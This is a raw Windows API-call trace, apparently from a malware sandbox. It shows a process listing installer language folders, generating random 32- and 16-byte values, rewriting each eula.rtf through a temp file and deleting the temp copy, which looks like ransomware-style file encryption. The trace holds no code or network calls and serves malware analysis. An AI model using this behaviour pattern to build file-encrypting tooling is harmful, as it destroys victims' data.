	[0071.617] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0071.617] VirtualAlloc (lpAddress=0xc000388000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000388000
	[0071.617] ReadFile (in: hFile=0x190, lpBuffer=0xc000388000, nNumberOfBytesToRead=0x338f, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc000388000*, lpNumberOfBytesRead=0xc000287b04*=0x318f, lpOverlapped=0x0) returned 1
	[0071.711] ReadFile (in: hFile=0x190, lpBuffer=0xc00038b18f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc00038b18f*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.711] CloseHandle (hObject=0x190) returned 1
	[0071.712] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0000931e0 | out: pbBuffer=0xc0000931e0) returned 1
	[0071.712] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094f80 | out: pbBuffer=0xc000094f80) returned 1
	[0071.712] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082a01 | out: pbBuffer=0xc000082a01) returned 1
	[0071.712] VirtualAlloc (lpAddress=0xc0001d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001d6000
	[0071.712] VirtualAlloc (lpAddress=0xc0001d8000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001d8000
	[0071.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0071.714] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0071.714] GetFileType (hFile=0x190) returned 0x1
	[0071.714] WriteFile (in: hFile=0x190, lpBuffer=0xc0001d8000*, nNumberOfBytesToWrite=0x328f, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001d8000*, lpNumberOfBytesWritten=0xc000287bec*=0x328f, lpOverlapped=0x0) returned 1
	[0071.743] CloseHandle (hObject=0x190) returned 1
	[0071.745] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0071.747] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0071.747] GetFileType (hFile=0x190) returned 0x1
	[0071.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0071.747] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0071.747] GetFileType (hFile=0x178) returned 0x1
	[0071.747] VirtualAlloc (lpAddress=0xc0001e2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e2000
	[0071.749] ReadFile (in: hFile=0x178, lpBuffer=0xc0001e2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001e2000*, lpNumberOfBytesRead=0xc000287bd4*=0x328f, lpOverlapped=0x0) returned 1
	[0071.749] WriteFile (in: hFile=0x190, lpBuffer=0xc0001e2000*, nNumberOfBytesToWrite=0x328f, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001e2000*, lpNumberOfBytesWritten=0xc000287b74*=0x328f, lpOverlapped=0x0) returned 1
	[0071.751] ReadFile (in: hFile=0x178, lpBuffer=0xc0001e2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001e2000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.751] VirtualAlloc (lpAddress=0xc0001ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ea000
	[0071.752] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 0
	[0071.752] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 0
	[0071.752] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 0x20
	[0071.752] CloseHandle (hObject=0x178) returned 1
	[0071.752] CloseHandle (hObject=0x190) returned 1
	[0071.753] VirtualAlloc (lpAddress=0xc0001ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ec000
	[0071.753] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 1
	[0071.755] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.051] SetEvent (hEvent=0x17c) returned 1
	[0072.051] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0072.051] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0072.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0072.051] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dbf4 | out: lpMode=0xc00022dbf4) returned 0
	[0072.051] GetFileType (hFile=0x164) returned 0x1
	[0072.051] GetFileType (hFile=0x164) returned 0x1
	[0072.051] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc00022dc44 | out: lpFileInformation=0xc00022dc44) returned 1
	[0072.052] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc00022dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00022dc28) returned 1
	[0072.052] ReadFile (in: hFile=0x164, lpBuffer=0xc00031f300, nNumberOfBytesToRead=0x11c8, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc00031f300*, lpNumberOfBytesRead=0xc00022db04*=0xfc8, lpOverlapped=0x0) returned 1
	[0073.515] ReadFile (in: hFile=0x164, lpBuffer=0xc0003202c8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc0003202c8*, lpNumberOfBytesRead=0xc00022db04*=0x0, lpOverlapped=0x0) returned 1
	[0073.515] CloseHandle (hObject=0x164) returned 1
	[0073.515] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000206ca0 | out: pbBuffer=0xc000206ca0) returned 1
	[0073.515] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000222660 | out: pbBuffer=0xc000222660) returned 1
	[0073.515] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212901 | out: pbBuffer=0xc000212901) returned 1
	[0073.515] VirtualAlloc (lpAddress=0xc000398000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000398000
	[0073.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0073.516] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0073.516] GetFileType (hFile=0x164) returned 0x1
	[0073.516] WriteFile (in: hFile=0x164, lpBuffer=0xc00026e600*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc00026e600*, lpNumberOfBytesWritten=0xc00022dbec*=0x10c8, lpOverlapped=0x0) returned 1
	[0073.518] CloseHandle (hObject=0x164) returned 1
	[0073.519] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0073.520] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0073.520] GetFileType (hFile=0x164) returned 0x1
	[0073.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a4
	[0073.520] GetConsoleMode (in: hConsoleHandle=0x1a4, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0073.520] GetFileType (hFile=0x1a4) returned 0x1
	[0073.520] VirtualAlloc (lpAddress=0xc00039a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00039a000
	[0073.520] ReadFile (in: hFile=0x1a4, lpBuffer=0xc00039a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00039a000*, lpNumberOfBytesRead=0xc00022dbd4*=0x10c8, lpOverlapped=0x0) returned 1
	[0073.521] WriteFile (in: hFile=0x164, lpBuffer=0xc00039a000*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc00039a000*, lpNumberOfBytesWritten=0xc00022db74*=0x10c8, lpOverlapped=0x0) returned 1
	[0073.522] ReadFile (in: hFile=0x1a4, lpBuffer=0xc00039a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00039a000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0073.522] VirtualAlloc (lpAddress=0xc0003a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003a2000
	[0073.522] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 0
	[0073.522] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 0
	[0073.522] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 0x20
	[0073.522] CloseHandle (hObject=0x1a4) returned 1
	[0073.522] CloseHandle (hObject=0x164) returned 1
	[0073.523] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 1
	[0073.524] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055" (normalized: "c:\\588bce7c90097ed212\\1055"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055" (normalized: "c:\\588bce7c90097ed212\\1055"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0073.524] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0073.524] VirtualAlloc (lpAddress=0xc0003a4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003a4000
	[0073.524] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.524] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.524] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.525] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.525] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.525] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0073.525] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0073.525] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12)) returned 1
	[0073.525] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.525] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558)) returned 1
	[0073.525] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.525] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13)) returned 1
	[0073.525] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.525] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.525] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052" (normalized: "c:\\588bce7c90097ed212\\2052"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.525] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052" (normalized: "c:\\588bce7c90097ed212\\2052"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0073.526] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0073.526] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.526] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.526] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.526] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.526] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.526] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0073.526] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0073.526] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c)) returned 1
	[0073.526] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.526] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758)) returned 1
	[0073.526] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
